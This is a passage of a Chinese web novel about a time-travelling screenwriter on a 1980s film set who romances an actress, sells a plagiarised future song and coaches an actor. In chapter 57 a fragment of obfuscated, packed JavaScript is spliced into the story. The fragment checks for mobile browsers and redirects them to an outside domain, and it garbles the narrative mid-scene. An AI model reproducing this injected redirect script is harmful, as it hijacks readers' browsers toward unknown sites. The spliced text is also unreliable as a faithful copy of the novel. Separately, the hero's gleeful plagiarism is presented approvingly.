一声“姐姐”,喊的李健群俏脸蒙上一片红霞,心里小鹿乱撞,“你还当真了呀,行吧,姐就姐吧。我也没什么事情要问你,就是见你挺窘迫的,给你解个围。” 她心里竟然有一丝失落,眼神也躲闪起来。 高远似有明悟,笑呵呵地一抱拳,道:“多谢李老师救命之恩,小高没齿难忘,容我择日厚报。” 呀,不叫姐姐叫老师了,还自称小高…… 李健群心情明媚,展颜一笑,调皮地追问道:“那,小高你想怎么报答我呀?” “请您吃饭?您也不缺我这口吃的。送您礼物?我又没钱买。带您遍赏这京城的美景?忒俗!” “合着你这是开了张空头支票啊?” 高远一乐,说道:“不是不是,绝对不是,思来想去,我只能在提高您演技方面下工夫了。您如果还不满意,大不了我以身……以笔为媒,多写几个符合您形象气质的角色呗。” 李健群极聪明,敏锐听出了这小子的潜台词,俏脸又红了,白他一眼,轻声道:“那可说好了啊,你一定得多写几个我能演的角色。 还有,我提醒你一句啊,离那个刘晓庆远一点,我听好多人私下里说起过她。 大家都说,她私生活可不怎么检点,野心也大,被她粘上了,你想甩都甩不掉。” 这是提醒呢,还是…… 高远靠近美人痣姑娘,嬉皮笑脸道:“我心里有数,今后我只跟李老师玩儿。” “刘小庆有句话没说错,你小子确实挺讨厌的。”李健群转身走了,脚步轻快,蹦蹦跳跳的。 高远握紧拳头,往下一拉,耶! “停!” 拍摄场地那边,王好为板着脸,脚步急促走到陈佩斯面前,接着开喷:“我说你怎么回事?走戏的时候那股劲头儿呢?怎么一面对摄像机就消失不见了? 胶片不要钱还是人工不要钱?一个镜头你连拍三条都没过,你跟我在这儿闹呢!” 虽说三月底了,气温逐步回升,屋里也不算冷,但窗户开着,拍的又是夏天的戏,陈佩斯只穿一套单薄的衣裤,又被导演劈头盖脸教训了一顿,脑门儿上沁出了一层冷汗。 他抹了把,愁苦道:“导演您别着急,消消气……各位老师,不好意思啊,耽误了大家的宝贵时间,我的错我的错。” 黄玲劝王好为道:“导演,二子毕竟是第一次面对镜头,紧张一点也是在所难免的,要不,先拍别人的戏份,让他冷静冷静,调整调整?” “我也知道二子是第一次正儿八经担任一部影片的主演,但他对词儿和试演的时候表现得很松弛啊,怎么一正式开拍就完犊子了呢? 唉……我也是有点儿着急了。 也只能这样了,先拍你们几个老同志的戏份……二子,你找个没人看见你的地方,再好好揣摩一下人物,调整调整情绪。” 王好为先不解,再自我批评,最后采纳了黄玲的建议。 陈佩斯松了口气,没了之前的意气风发,答应一声后蔫头耷拉脑地走过来,一眼瞧见高远,屁股拍在一个道具箱子上,落寞地说道:“兄弟带烟了没?给哥来一根。” 高远摸出一包恒大来,抽出一根递给他。 不是那个恒大啊,是天津产的恒大牌香烟。 陈佩斯接了,吹一下,叼在嘴上,摸摸裤兜,又尴尬一笑。 这是戏服,哪有火柴啊。 高远又把火柴掏出来,呲的一声擦着,就听见王好为喊道:“外面抽烟去,也不看看这是什么地方!还有没有一点规矩了?” 王导脾气这么火爆的吗? 高远讪笑一声,对陈佩斯说道:“走吧二子哥,咱去楼道里抽。” 陈佩斯点点头,起身,跟高远一起出了门。 两人点了烟,靠着墙喷云吐雾。 陈佩斯眉头紧皱,神情沮丧,也不说话,不知道在思考着什么。 或许是在揣摩角色? 又或者是在自我反省? 高远也没打扰他,暗叹一声,这时候的陈老师,确实青涩啊。 他真正树立起自己鲜明的表演风格,应该是拍完这部戏以后的事情了。 仿佛突然开了窍,对喜剧表演有了深刻的理解,并融入了自己的特色。 要不要帮他提前开个窍呢? 高远想了想,低头一笑,不能上赶着,先等等,让他自个儿找过来。 上午的拍摄总体上还算顺利。 按照王导的计划,先集中把室内的戏份拍完,然后再取外景。 外景包括,在什刹海划船的一场戏,工厂里很多戏等等。 制片主任已经跟什刹海相关机构和棉纺厂的领导们分别沟通过了。 这年头,拍电影是国家任务,各单位领导都很配合。 午饭是食堂的师傅送到片场来的,白菜豆腐粉条肉、蘑菇粉条炖肉、刚蒸的大馒头。 菜里是真有肉,肥肉片子看上去就很有食欲,不是糊弄人的汤里飘着点儿油花儿。 每人一个铝制饭盒,剧务帮着盛菜,满满一大勺甩进饭盒里,嚯,幸福! 高远一手端着饭盒,一手拿着筷子,筷子上穿着俩馒头,找个木头箱子坐下来,双腿并拢把饭盒往腿上一放,一口馒头一口菜,吃得满嘴流油。 李健群也端着个饭盒走过来。 高远一看,姐姐打了蘑菇炖肉,嘻嘻笑道:“一起吃一起吃。” “我吃白菜还成,不喜欢吃豆腐。”李健群看一眼他饭盒里的菜,不好意思地低声说道。 我喜欢吃豆腐啊。 高远哦了声,略带点儿遗憾说道:“那就各吃各的吧。” 李健群笑笑,说:“你可以吃我的,小邓给盛得多,我也吃不完。” 小邓就是剧务。 高远可不会跟她客气,从她饭盒里挑了一筷子蘑菇送进嘴里,咽下后笑道:“味道不错。” 李健群俏脸又红,撩一下刘海,道:“好吃你就多吃点。” “那我可不客气了。”他又夹了一筷子。 陈佩斯发出奇怪的笑声。 不远处的刘小庆若有所思望着他俩,心下一叹:终究还是比不过年轻漂亮的小姑娘啊。 不知道什么时候,外面飘起了濛濛细雨。 吃过午饭,剧组进入了短暂的休整时间。 高远走进胡嘉奇的卧室,从墙上把吉他摘了下来。 这让趁午休过来探班的梁晓声大惊失色,疾步过来对他说道:“我的好兄弟哎,你可别找事儿,组里人多眼杂的,你唱靡靡之音万一被人举报了,不是给自己找麻烦么。” 他对《梦里水乡》都有阴影了。 高远一笑,靠在窗前,拨动琴弦,开口唱道:三月里的小雨,淅沥沥沥沥沥,淅沥沥沥下个不停。山谷里的小溪,哗啦啦啦啦啦,哗啦啦啦流不停。 小雨陪伴我,小溪听我说,可知我满怀的寂寞…… 第55章 怒赚300块 这歌特别应景。 再加上高远唱得满是柔情,很快把导演、副导、摄像以及老艺术家们、青年演员都吸引过来。 王好为双眼亮晶晶的,等一曲唱完,她激动地走上前,问高远道:“这歌儿是你写的?” 高远臭不要脸地说道:“是。” 《三月里的小雨》嘛,刘文正收录在1981年同名专辑中的主打歌。 现在这歌儿还没被创作出来呢,高远果断窃之,一点心理负担都木有。 再说,剽窃宝岛歌手的作品,代表的那是良知和正义。 就看不惯你们这些数典忘宗的王八蛋! 早晚收了你! 王好为丝毫不怀疑创作出《瞧这一家子》剧本的高远写不出一首歌曲来。 她只是有点惊讶高远居然通晓音律。 “小高,你学过音乐?”她好奇地问道。 其他人也都目光灼灼望着高远。 李健群打量着他,对他展现出来的才华愈发感到震惊了。 小伙子是个全能型人才啊。 高远挠挠头,笑道:“王导也是Bj人,您应该清楚,我们这代人平时缺少娱乐活动,就只能自找其乐,三五一群去街头巷尾茬架茬琴就跟家常便饭似的。 没点儿手艺,怎么吸引小姑娘的关注啊。” 说着,他冲大姐姐挑了挑眉。 李健群俏脸通红,狠狠地瞪了他一眼,心里却甜丝丝的。 他是在对我暗示些什么吗? 王好为哈哈大笑,“你小子,倒是一点都不掩饰内心的真实想法,算你坦诚。这歌儿真不错,抒情浪漫,带着淡淡的忧郁,很有味道。” 李健群补充道:“将风景和心情共同谱写进作品中,用小雨和小溪那种画面的流动感,带活了一个寂寥的身影,使一首简单的作品,在一种情与景的对照上,将意境展现得淋漓尽致。” 评价这么高吗? 高远又扫了一段和弦,权当是配合姐姐至高无上的称赞。 王好为看着她,笑道:“健群这番评价太得当、太准确了,难怪大家都说你和小高是有默契的,依我看,你俩不仅有默契,简直就是心有灵犀,心意相通。” 美人痣姑娘羞涩地一跺脚,“导演,您说什么呢?” 某个男人眉开眼笑,导演,您这话说到我心缝儿里啦! 诸位同仁们拼命点头。 大家又不傻,经过一段时间的接触,都察觉到小高老师对健群姑娘有那么一丝丝的情愫。 王好为呵呵笑着,也不点破两人间那点小心思,扭头问高远道:“卖吗?” 不卖! 把我当什么人了? 我还是个黄花大小伙子呢。 很快他就反应过来,导演问的是歌卖不卖,连连点头道:“卖!卖!” 虽说不知道给多少钱,但蚊子腿再小它也是肉。 他这么个钻进钱眼儿里就不想出来的人,是绝不会放掉任何一个挣钱的机会的。 王好为想了想,笑道:“一口价,300块,你同意,我就让后勤给钱。” 这么多! 高远惊住了。 他还以为能卖个30、50的就已经很不错了。 他了解过行情,国家规定:歌曲的曲作者按首算钱,每首曲子15——30块钱,词作者亦是如此。 既作曲又作词,定格支付费用也才60块钱。 见他露出不解的神色,王好为干脆拽过把椅子来坐下了,跟他解释道:“看来,你是清楚国家政策的,但并没有真正搞明白。 我这样跟你说吧,你单独写一首歌,被哪家音像公司看中了,顶多也就给你60块钱。 但给电影配乐除外。 换句话说,电影是独立于规定以外的特殊宣传工具。 但凡跟电影沾边儿的,如剧本、服装、道具、配乐以及片头、片尾、插曲等等,创作者拿到的酬劳都是最顶级的。” “我明白了,体现作为一个意识形态宣传工具的特殊性呗。”高远冲口而出,也明白了,王导要把这首歌融入进电影中去。 王好为没因为他这句多少带点大逆不道的话而生气,反而对他直爽的性格和一点就透的聪明劲儿大加赞赏。 “你这么理解也对,电影在宣传工作中是具有特殊性的。好了,这个我们不多谈,300块,你卖不卖?” “我当然卖了。” “小吴,草拟份合同,让高老师签了后把钱给了。” 剧组会计小吴连忙应好,忙活写合同去了。 诸位也各自去忙,屋子里只剩几个年轻人了。 陈佩斯凑过来,嘻嘻笑着对高远说道:“兄弟你牛啊,随便写首歌就卖了300块,都够我挣大半年工资的了,发了笔横财,你不得请客么。” “浑身上下全是艺术细胞,我也没办法。请客,还是算了吧,我怕二子哥你吃穷我。”高远开玩笑道。 陈佩斯又裂开嘴,露出八颗大白牙,没脸没皮地说道:“又不让你请我去下馆子,你那是什么表情。我听说你和老梁时常在房间里开伙。 干脆这样,你买几个卤味,再炒几个菜,咱就在你屋里吃,就当是咱们给你简单庆祝一下了,你看怎么样?” 这就没法拒绝了。 高远笑着说:“那没问题,择日不如撞日,要不就今晚吧。” 陈佩斯一扭头,见梁晓声、李健群几个都还在,挑着眉毛说道:“几位赏个脸吧,有道是请客不到两头害臊,别让我兄弟抹不开面子。” 梁晓声乐道:“算我一个。” 李健群犹豫片刻,也点点头,“成,也算我一个吧。” 刘小庆摇头说道:“我今晚有事儿,你们聚吧,下次我一定参加。” 张金玲倒是一点都不带含糊的,“我去。” 刘小庆是真有事儿还是找借口,高远根本就不在乎。 你不来我反而放心了。 下午的拍摄又不顺利起来。 也不知道是不是受到了佩斯的影响,老爷子发挥得也大失水准。 王好为自然不会跟老同志发火的,不仅不能发火,还得温言细语地安抚。 宽慰好老同志的情绪后,她才烦躁地在屋里踱起了步子。 高远发现,自己在剧组的存在感并不高,导演对剧组和演员的把控非常到位。 自个儿好像是个多余的人。 索性,他拉着梁晓声出了门,奔供销社去买菜。 今年以来,街面上的流动小贩逐渐多了起来,看穿着打扮,大多是周遭的农民兄弟,但也不敢明目张胆地扯着嗓子叫卖。 他们大多挎一个竹篮,竹篮上面盖着块粗布,在距离供销社不远的地方四处张望。 遇到路人,主动凑上前,低声说道:“头茬香椿芽,5分钱一斤,要吗?” 又或者问道:“自家老母鸡下的鸡蛋,比供销社便宜2分钱,还不要票,您来点儿不?” 高远就被一个卖香椿芽的大嫂截停了。 他一看香椿芽确实很新鲜,炒个鸡蛋绝对鲜美,就掏出个5分钱的钢镚买了一斤。 老梁是个精打细算的人,见周边的蔬菜、猪肉新鲜且便宜,便对高远说:“干脆在外面买得了。” 高远也着实不想去供销社,一想起要面对那个有缸粗没缸高除了屁股全是腰的娘们儿,他就不寒而栗。 于是点头答应下来。 两人分头转,不到半个小时就买齐了一应食材。 又去卤肉店买了一斤猪头肉、两根红肠,哥儿俩打道回府。 倒不是高远抠门儿,实在是这会儿的海淀非常荒凉,人民群众的消费水平也不高,他倒是想多买些熟食,卤肉店里也没有啊。 回到房间,两人开始忙活,结果菜择好了二位也傻眼了,没有炒勺,也没有蜂窝煤炉子,根本没办法炒制。 高远眼珠儿一转,怂恿老梁道:“梁哥,要不你去食堂跟大师傅商量商量,请师傅们帮我们做几个菜吧。” 梁晓声是实在人,立马答应下来,“成,我把这些肉和菜给大师傅送过去,不会让他们白帮忙的,说起来,咱买的这些肉菜送给他,他还赚了呢。” 他拎着网兜就走。 一个小时后又拎着个食盒回来。 刚把四个碟子四个碗摆在桌面上,陈佩斯、李健群和张金玲也到了。 后面还跟着个李秀明。 高远再一瞧,蔡明牵着江珊也紧随而至。 “小高老师,久仰大名了,今日得见,真是三生有幸。” 当17岁的菜菜子咧着大嘴,操着尖锐的嗓音出现在高远面前时,说实话,高远很想跑路。 什么就久仰大名,哪个就三生有幸了? 我真不想跟你认识啊,我又不是郭达,我也不是潘子。 但他也知道,这时候得展现出一名青年编剧的翩翩风度来。 尽量让自己笑得阳光一些,高远说道:“您太客气了,我也听老师们介绍过您,说您是北影厂年龄最小的演员,但演技已经磨炼得相当出色了,是厂里的重点培养对象。 我有幸跟您相识,才真是三生有幸呢。” 蔡明眨着大眼睛打量高远,“真的吗?老师们真这么夸奖过我吗?” 高远一点都不虚,“那还能有假?” 菜菜子故作羞怯道:“哎呀,老师们太过奖了,我其实,就做出了那么一点点小小的成绩,不值一提。” 咦…… 你很做作啊。 “各位贵客快请坐吧,菜都上桌了,咱们一边一边。”高远掠过菜菜子,伸手请已经快绷不住的诸位落座。 李健群拉过一把椅子来坐下,不明所以地问道:“什么叫一边一边?” 高远笑道:“就是一边吃一边聊。” 江珊靠着他坐下,笑嘻嘻说道:“哥哥说话怎么还带省略的,别人听不懂,你再解释一遍,不说得更多了么?” 高远刮一下她的鼻子,笑道:“就你问题多,哥哥是不会告诉你,哥故意省略几个字,就等着健群姐姐询问,借机跟姐姐多说几句话的。” “哦,你俩有情况!” “珊珊,你看人真准!” 第56章 导演急了,让你马上回去 李健群低着头,偷偷打量高远。 椅子不够坐,梁晓声自告奋勇嘿嘿笑道:“我去搬两把椅子来。” 陈佩斯站起身,跟他一起去,“等我一会儿。” 俩人出了门,梁晓声捣一下陈佩斯,鬼鬼祟祟问道:“你也看出来了?” 陈佩斯狡黠一笑,道:“前阵子还没那么明显,这几天,小高那点儿小心思可一点都不掩饰了。” “健群岁数大了点儿吧?” “大点儿好啊,大媳妇儿知道疼人,这不正说明高远那小子聪明嘛。” “倒也是,长得还那么漂亮。” “嘿嘿……” 不过三分钟,两人搬过来几把椅子。 菜很丰盛,酒是从一老乡那里打的散酒,用塑料桶装的,五斤。 筷子碗摆齐,把酒倒在搪瓷缸子里,各自落座后,高远招呼道:“今儿发了笔小财,二子哥让我请客,我琢磨着来厂里也有段时间了,一直在忙修改剧本的事儿,也没顾得上跟大家伙儿聚聚。 正好借此机会跟大家一起坐一坐,交流一下革命友谊,就响应了二子哥的提议。 来来来,都别客气,先吃一口垫垫肚子再开喝。” 他先举起筷子,将几片红肠夹到江珊的碗里。 江珊脆生生说道:“谢谢哥哥。” 大家也不见外,各自夹菜。 吃了两口,陈佩斯从兜里摸出份协议书来递给高远,道:“导演让我给你带过来的,你先把这个签了,我好交差。小心点儿啊,钱在纸里夹着呢。” 高远一看,是一份手写的歌曲转让协议。 大概意思是,经双方友好协商,《三月里的小雨》词曲作者高远,将本歌曲出售给京城电影制片厂,指定给电影《瞧这一家子》使用,剧组一次性支付高远创作费300元,此协议自签订之日起正式生效云云。 协议书里包着厚厚一沓钱。 高远禁不住在心里念磕儿:这玩意儿真具备法律效力吗? 这个年代就这么随意,什么版权啊,专利啊一概都冇。 也没人在乎这个。 《著作权法》《专利法》都还了无踪迹呢。 总之有钱赚就行。 梁晓声从上衣兜里摘下钢笔递给高远。 这家伙先把钱揣进裤兜,接过钢笔把协议书铺在茶几上,刷刷签下他的大名,又递还给陈佩斯,“齐活。” 陈佩斯接过去,叠整齐后装好,又笑,“还没齐活,导演说了,让你尽快把曲子弄出来,再填上词,她也能早点找人去录制。” “没问题,明天我就写出来。” 办完这事儿,大家开吃。 这年头儿,吃顿好的不容易。 别看在座的几位都是北影厂的职工,大小也算是个明星,但也是拿工资干活的。 拍电影是国家任务,也是他们份内的工作,厂里肯定不会再额外支付给大家片酬的。 但有生活补助。 跟高远一个标准,每天两元。 就这两块钱,他们大多数人都会补贴给家里,日子过得就难免拮据了一点。 比如说梁晓声,他省吃俭用的,因为每月大半的工资都得寄回老家去,不然父母、兄弟姐妹们吃饭都困难。 哐哐一顿造后,高远端起茶缸子,跟俩男的抿了一口。 女同志们不喝白酒,以茶代之。 吃口菜喝口酒聊着天,气氛倒也融洽。 话题自然离不开正在拍摄的《瞧这一家子》。 高远单敬陈小二一杯,笑着问道:“二子哥情绪高涨啊,下午的拍摄进展顺利?” 几位女同志都嘿嘿笑了起来。 陈佩斯老脸一红,支吾道:“下午没我什么事儿,就拍了一组老齐去我家串门的片段。” 敢情导演这是彻底把你晾到一边了。 高远呲牙一笑。 李健群说道:“对了,那场戏你改台词了是吧?跟之前的词儿不一样了。” “没错,之前欠考虑了,塑造老齐这个人物的时候,本意是体现他和老胡一家人关系亲近,不见外。后来回学校上课,我的老师江南之先生就这个片段专门跟我聊了聊。 南老说,在当下这个年代里,关系再好,也不会腆着脸去别人家蹭饭的,那会给主家增加生活负担。 所以,我接受了先生的意见,把这段剧情给修改了。 改成胡婶热情留客。 老齐坚定拒绝,半开玩笑地说:‘家里老婆子做好饭了,你家蒸茄子,我家蒸土豆,大家半斤对八两。’ 诶,现场效果怎么样?” 拍这段情节的时候,他已经颠儿了。 李健群抿嘴一笑,道:“还行吧,我感觉江老师挺在状态的。” 张金玲看一眼陈佩斯,意味深长道:“陈老师今儿下午的状态可不大好,也不知道是不是受了某人的影响。” 陈小二老脸又红了起来,“那个啥,吃菜吃菜,喝酒喝酒,说点儿别的。” 诸位哈哈一乐,没再揪住他不放。 高远内心感叹:老爷子为了捧儿子上位,也是心力交瘁啊。 一顿饭吃完,大家帮高远收拾完碗筷后方才散去。 如此过了几天,拍摄进度仍旧很慢。 高远在现场呆了几天,逐渐有点厌倦了。 因为确实没啥需要他修改台词的地方。 王好为一板一眼按照确定下来的台词进行拍摄。 演员们也不会乱改台词。 只是陈佩斯的表现依然糟糕,气得陈老师吹胡子瞪眼,亲自上阵教儿子如何演戏。 “你就是个不开窍的榆木疙瘩!” 这话成了陈强老师的口头语。 相比于陈小二,李健群的发挥就很惊艳了。 王好为称赞她,天生就是吃这碗饭的材料,一点都不夸张。 高远根本就看不出来这姐姐是第一次拍戏的痕迹。 她代入人物的速度相当快,换句话说就是入戏快。 一旦进入到表演角色中,整个人光芒万丈、煜煜生辉,让在场的老师们都击节叫好。 高远还大言不惭地对姐姐说,我只能在提升你演技方面多下点工夫了。 他看了姐姐的几场戏后,羞愧地恨不得找个地缝钻进去。 没有地缝让他钻怎么办? 他回学校上课了。 反正在片场待着也没事可干。 江南之对高远来上课深感欣慰,学生嘛,还是应该以学业为重的。 结果高远这课没上两天,梁晓声又找了过来。 “导演急了,让你马上回去。” “怎么了这又是?出什么问题了吗?” 他过来的时候,高远正在未名湖石舫跟黄子平、梁左、苏牧、陈建功、小查几个人较劲,班主任赵建福也在。 这几位苦口婆心地劝他加入《早晨》文学社,还说,谢冕老师已经答应当文学社的指导顾问了,还要出油印刊物。 “早晨”这个名字,就是谢冕老师亲自定下来的。 高远不愿意掺和这事儿。 因为《早晨》这本刊物他知道,上辈子在市图书馆工作的时候翻看过,记忆犹新。 倒不是说这本刊物没价值,只是他们几个撺掇起来的这本刊物没出几期就停刊了。 并且第一期创刊号还是诗人专刊。 班里的四位著名诗人尽管激情洋溢,佳作频出,但也丝毫拯救不了刊物因无法打开市场最终走向败落的命运。 再说,写诗也不是高远的长项。 尽管他脑袋里储存着后世许多很出名的现代诗,面朝大海,春暖花开之类的,但他真没打算抄。 自个儿吃饱喝足后,给别人留口饭吃善莫大焉呐。 不能什么好事儿都让自个儿占了不是? 梁晓声的到来解救了高远。 他冲老梁使个眼色。 老梁心领神会,急切地说道:“二子还是进入不了角色,这些天的拍摄进度极慢,一天只能拍一组镜头。 导演急了,让我来通知你赶紧回去,说你是角色的创作者,帮二子尽快找到人物感觉是你义不容辞的责任。” 一天只能拍一组镜头,放到后世,也就王家卫和姜文敢这么玩儿了。 高远看看赵建福,苦笑着说道:“老师您看……” 班里出了这么个人物,赵建福也很无奈,但高远干的又是正事,系主任都批了假的,他也不好拦着不让他去。 摆摆手,赵建福说道:“滚吧滚吧。不过我也跟你说,班里的活动该参加还是要积极参加,你要记住,刚开学那会儿,老系主任杨晦先生曾经告诫过你们:中文系培养学者不培养作家。 但我也知道,你们这帮家伙几乎人人都有个作家梦。 我不会去打破你们的梦想,但你们也要朝着学者这个方向去努力。” 高远郑重地点着头,说道:“请老师放心,我不会本末倒置的。” 赵建福一挥手:“去吧!” 高远拉着梁晓声走了。 回到熟悉的招待所房间,刚进门高远就看到一个失落寂寥的男人闷头坐在沙发上抽烟。 “回来了。” “昂。” “坐!” 高远:这貌似是我的房间吧? 他在陈佩斯身边坐下,又招呼梁晓声也坐,看一眼这个郁闷的家伙,笑道:“咋?被人煮了?” 陈佩斯叹声气,道:“也差不多了,开拍都十多天了,哥还是找不到感觉,哥苦闷啊。” 正说着,王好为走了进来,横他一眼后对高远说道:“小高回来了,二子的事儿晓声都跟你说过了吧?” 第57章 我突然很想恁死你 高远笑着答道:“梁大哥跟我提过了。” “匆忙叫你回来,我也是没办法了,二子进不了人物,直接影响的是拍摄进度。小高你也知道,厂里领导们很看重这部片子,光拍摄经费就给了50万。 再者说几位前辈导演们都在盯着呢,这时候我们掉链子了,乐子可就大了。 所以我想着,既然角色是你创作出来的,你应该对角色有着自己的解读,把你叫回来,是让你帮二子尽快找到感觉。” 王好为说完,自个儿都觉得不太好意思了。 她之前不重视高远,倒不是说故意摆导演的架子,只是觉得作为一部影片的主导者,自己应该承担起把电影拍好的责任来。 可没想到陈佩斯居然如此不开窍,这让她很苦恼。 思来想去,或许只有高远这个编剧能解决他迟迟进入不了角色的问题。 她找了一圈没找到高远,还是听李健群说,高远说反正在剧组他也帮不上忙,与其浪费时间,不如回学校上课后,才让联络员梁晓声专门跑了趟北大,把人请了回来。 “浪费时间”四个字对王导的刺激比较大。 想想也是,小高在拍摄现场待了好几天,一段台词没改过,一点忙也没帮上,换成自己也觉得无聊。 王好为对高远有点愧疚了。 高远无所谓啊,闲着多好,闲下来自己还能多写点故事呢。 但既然回来了,该履行的职责还得履行。 “您快请坐。” 他站起身,把沙发让给王好为,自个儿在椅子上坐了。 “您把话说到这份儿上了,我指定全力帮忙。要不,我说说我的观点?” “叫你回来不就是找你要观点来了么,别抻着了,赶紧说。” 高远见二子哥也满眼期待的样子,神情冷漠地往外蹦字儿:“表演做作!僵硬!不自然!严重缺乏生活化!老想着突出自己,却忘记了一部佳作是由全体演职人员齐心协力才能打造出来的! 还有,你最大的问题是不知道该怎么面对镜头,这是心病,得治!” 陈佩斯脸都红了,通红通红的,俩眼珠子往外凸凸着,张大了嘴巴却解释无能。 因为高远每句话都说到了点子上。 话虽然中肯、一语中的,但是,哥的自信心也被你小子锤成了饺子馅儿啊。 哥不要面子的吗? 王好为拍了下巴掌大声叫好:“小高你说得太好了,再具体说说,有什么办法能尽快帮助二子进入到角色中去吗?” 梁晓声端过来两杯茶,递给王导一杯,又递给高远一杯。 高远道声谢,这才说道:“倒也不是没办法,首先,表演方面,你只需要抓住一个点就可以了。” 陈佩斯心里也着急,这会儿态度端正起来了,还摸出一个塑料皮的小本子来,放在茶几上,拿一根圆珠笔准备记录,语气也前所未有地客气道:“详细说说。” 高远暗乐,终于体会到老爸好为人师的时候有多爽了。 “胡嘉奇就是你,你就是胡嘉奇!”他说得很通俗。 这会儿你跟二子哥聊什么斯坦尼斯拉夫斯基体系,布莱希特体系,梅兰芳体系,无异于对牛弹琴,直截了当才合适。 “打今儿起,你不要把自己当成陈小……陈佩斯了,无论是在生活中,还是在工作中,你就是胡嘉奇。你得记住,想要演好一个角色,你自己首先得去掌握他,而不是被角色所掌控,不然,就本末倒置了。” 高远腾地站起来,说:“我打个比方,胡嘉奇这个角色的特质是什么?” 陈佩斯想开口,高远抬手制止了他。 “他是一个本质不坏,有点好吃懒做,还傻乎乎的带着几分可爱那么个人。您不成啊,您太精明了,往我这儿拎一盒京八件儿您自个儿都得吃七块。 邓师傅打菜不多给您盛点儿肉他都觉得对不住自个儿。 拉粪的车打您门口过您都得尝一口咸淡。 出门没捡到钱您就跟丢东西似的。 这哪儿成啊? 您不能反向塑造人物性格啊,那不成猴吃麻花——蛮拧了么。” “我突然很想恁死你!”陈佩斯咬牙切齿望着这孙子。 王好为乐得直抽筋儿,她揉着小腿肚子说:“笑死我啦!不过小高你说得全对,二子就是个不占便宜算吃亏的主儿。继续继续。” 梁晓声也搂着陈佩斯笑得直打颠儿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402238|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>高远嘿嘿笑道:“所以我才说啊,你得先把自己是谁给忘记,然后再去揣摩这个人物的内心世界……这一点,还得请导演帮帮忙。” “你说。” “从明天起,只要二子哥进了场,您要求演职人员们一律称呼他胡嘉奇或者嘉奇,不能再让人叫他佩斯或者二子了。” “那没问题。” 高远点点头,又看着陈佩斯说道:“嘉奇同志,下面说你不知道该怎么面对镜头的事情。其实很简单,你当他不存在就是了,生活中怎么说话,剧中就怎么说。 我换句话说吧,你不要把让他当成是表演。 也不要老想着我该怎么去诠释这个人物才会使得角色更丰满。 那反而是错误的。 你就平常心,什么摄像机不摄像机的,平时怎样就怎样。 松弛下来,把人物包袱放下,磨个两场戏也就能找到感觉,就不再惧怕摄像机了。” 哎哟! 陈佩斯醍醐灌顶,认真记录下高远的话后,一拍大腿说道:“这回我听明白了,陈强老师总是跟我说,塑造角色要深刻,表演方式要形象生动,我一直弄不明白啊。 小高今儿跟我说的这些大白话,我反而听懂了,说白了,就两点:自然、生活化!” 说着,他摸出个手绢来,擦了擦脑门儿没多少的汗水。 高远乐了,“您这不是理解得很到位么。还有啊,我看您口袋里老装着条手绢,为什么不把它用到剧中去呢? 谁规定的胡嘉奇就不能用手绢了? 你用了,说不定效果会更好。 代入自己的生活本色,适当地进行艺术加工嘛。” 咝! 王好为倒吸一口凉气。 她惊讶了几秒钟后,认真回味起高远这番话来。 他这番话和平时开会时讲到的那些深入揣摩角色,演员要将自身充分融入到角色中去之类的高深理论。 但却通俗易懂,一下抓住了二子的毛病,丝丝入扣层层推进地把如何进入到角色中去分析得明明白白。 难怪汪厂长称赞他是个年少有为又才华过人的家伙呢,自个儿搞了十几年电影工作,都没他把表演艺术研究得如此透彻。 第58章 高远成了副导演 “小高,你这水平,当个副导演都有富裕。”王好为不由说道。 “导演,那我可当真了。”高远顺着杆子往上爬。 王好为愣了一下,然后笑了,问他道:“真想干?” “挂个名儿行不?主要是为了跟您学东西。” “可以,打明儿起,你就试试吧,能教的我肯定不藏私。” “谢谢导演成全。” 高远成了副导演。 王好为宣布这个决定的时候,剧组一干人等瞠目结舌。 但他真是为了学东西。 写而优则导嘛。 你看第五代,没几个人是科班出身,全他娘转行,偏偏还都非常成功。 老谋子和顾长卫是摄影专业的,何群、霍建起是学美术的。 大导倒是导演系科班毕业,《无极》拍得那叫一个…… 啧! 第五代以后的新生代,更猛。 韩寒——作家。 陈思诚——演员。 郭帆居然是海南大学法学院的毕业生你敢信? 这些人有很多共同的特点,叛逆、不拘一格,作品风格鲜明、视角独特。 是很多专业导演终其一生都无法达到的境界。 许许多多科班毕业的导演为什么反而拍不好影片? 说穿了,他们太格式化、模板化了,认为把学校老师教授的东西运用到拍摄实践中就一定不会错的。 其实大错特错,因为纸面得来终觉浅呐。 实践才是检验真理的唯一标准。 这也是高远对导演一部作品产生兴趣的主要原因。 他还想,总不能当一辈子编剧吧。 李健群看着这货,只觉神奇,过去的一天一夜里,究竟发生了什么惊天动地的大事情? 他怎么突然就成副导了? 姐姐不解。 高远呲着牙冲她一乐,也没解释,扭头儿对导演说:“我建议先把那场戏拍了吧,让二子哥动起来,解放天性或许能激发出他进入角色的感觉来。” “你是说,帮新华书店的同志们排练节目那场戏?”王好为问道。 “对,就那一场。”高远笑着说。 王好为琢磨琢磨,也乐了,“行。各部门的同志们,我说个事儿,临时改场戏,把原本计划17号拍摄的片段提前挪到今天来拍,大家准备转场,剧务去通知主楼那边,把拍摄场地给我们空出来,演员们赶紧上妆。” 大家一听,均面带喜色,那场戏可太有意思了,各自去忙活不提。 唯有陈佩斯唉声叹气,凑过来扯高远的袖子,低声说道:“又是你出的鬼主意吧?哥还没准备好呢。” 高远瞥他一眼,道:“等你准备好了,整部戏都拍完了。忘记我昨天怎么说的了?胡嘉奇就是你,你就是胡嘉奇!别背那么重的包袱,放松下来!” 陈佩斯勉强一笑,说道:“好吧,我听你的,我试试看。” 大家转场,去到主楼那边。 拍摄场地已经腾出来了,是间会议室,也已经布置完毕,摆放着十几把折叠椅,墙面上贴着标语,年代感十足。 北影厂最不缺的就是人。 王导临时抓来十几个壮丁充当新华书店的员工。 刘小庆穿一件红裙子,露着两条胳膊正在背词儿。 高远走过去一看,艳俗! 刘小庆瞧见他眼神儿不对,问道:“有什么不对劲的地方吗?” 高远叹声气,说道:“谁给你化的妆?脸上抹这么雪白的粉底,胳膊腿却没抹,皮肤是两个色儿没看出来吗? 还有你这绿发卡,谁给你找的? 红裙子配绿发卡,有点审美没有啊? 